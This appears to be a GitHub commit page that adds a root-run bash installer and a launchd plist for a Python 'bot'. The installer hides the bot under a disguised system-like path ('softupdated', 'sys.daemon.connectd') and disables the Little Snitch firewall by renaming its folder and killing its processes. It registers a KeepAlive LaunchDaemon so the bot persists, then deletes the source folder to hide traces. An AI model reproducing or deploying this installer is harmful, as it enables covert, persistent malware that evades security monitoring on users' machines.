This repository has been archived by the owner on Feb 1, 2023. It is now read-only.
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
added launchd agent and installer script
- Loading branch information
Showing
5 changed files
with
73 additions
and
109 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file was deleted.
Oops, something went wrong.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,51 @@ | ||
#!/bin/bash | ||
|
||
if [[ `whoami` != "root" ]] | ||
then | ||
echo Must be run as root, not \'`whoami`\'. | ||
exit 1; | ||
fi | ||
|
||
cd "$(dirname $BASH_SOURCE)" # path to this script, should be <path to bot>/code/violent-python-master/ | ||
|
||
### copy libraries and binaries to corresponding locations | ||
mkdir -p /private/var/softupdated | ||
date >> /private/var/softupdated/install.log 2>&1 | ||
cp -fR ./* /private/var/softupdated/ >> /private/var/softupdated/install.log 2>&1 | ||
chmod -R +x /private/var/softupdated | ||
|
||
### unload previous install | ||
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'` | ||
kill -KILL $pid >> /private/var/softupdated/install.log 2>&1 | ||
launchctl unload -w /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/install.log 2>&1 | ||
pid=`ps -ax | grep bot.py | head -1 | awk '{ print $1 }'` | ||
kill -KILL $pid >> /private/var/softupdated/install.log 2>&1 | ||
|
||
### Disable little snitch | ||
if [ -e "/Library/Little Snitch" ] | ||
then | ||
mv "/Library/Little Snitch" "/Library/Little Snitch Monitor" >> /private/var/softupdated/install.log 2>&1 | ||
killall "Little Snitch Agent" >> /private/var/softupdated/install.log 2>&1 | ||
killall "Little Snitch Daemon" >> /private/var/softupdated/install.log 2>&1 | ||
killall "Little Snitch Network Monitor" >> /private/var/softupdated/install.log 2>&1 | ||
fi | ||
|
||
### copy launchd scripts to launchd folder | ||
cp -fR ./*.plist /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1 | ||
chown -R root /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1 | ||
chmod -R 644 /Library/LaunchDaemons/ >> /private/var/softupdated/install.log 2>&1 | ||
|
||
chmod -R 700 /private/var/softupdated | ||
|
||
### load launchd keepalive processes | ||
launchctl load -w /Library/LaunchDaemons/sys.daemon.connectd.plist >> /private/var/softupdated/install.log 2>&1 | ||
|
||
rm -f /private/var/softupdated/README.md | ||
rm -f /private/var/softupdated/*.sublime* | ||
|
||
echo "Removing downloaded source folder" >> /private/var/softupdated/install.log 2>&1 | ||
rm -Rf /private/var/softupdated/code >> /private/var/softupdated/install.log 2>&1 & | ||
echo "Finished install/update" >> /private/var/softupdated/install.log 2>&1 | ||
date >> /private/var/softupdated/install.log 2>&1 | ||
echo "" >> /private/var/softupdated/install.log 2>&1 | ||
echo "--" >> /private/var/softupdated/install.log 2>&1 |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,17 @@ | ||
<?xml version="1.0" encoding="UTF-8"?> | ||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd"> | ||
<plist version="1.0"> | ||
<dict> | ||
<key>Label</key> | ||
<string>sys.daemon.connectd.plist</string> | ||
<key>ProgramArguments</key> | ||
<array> | ||
<string>/usr/bin/python</string> | ||
<string>/private/var/softupdated/bot.py</string> | ||
</array> | ||
<key>RunAtLoad</key> | ||
<true/> | ||
<key>KeepAlive</key> | ||
<true/> | ||
</dict> | ||
</plist> |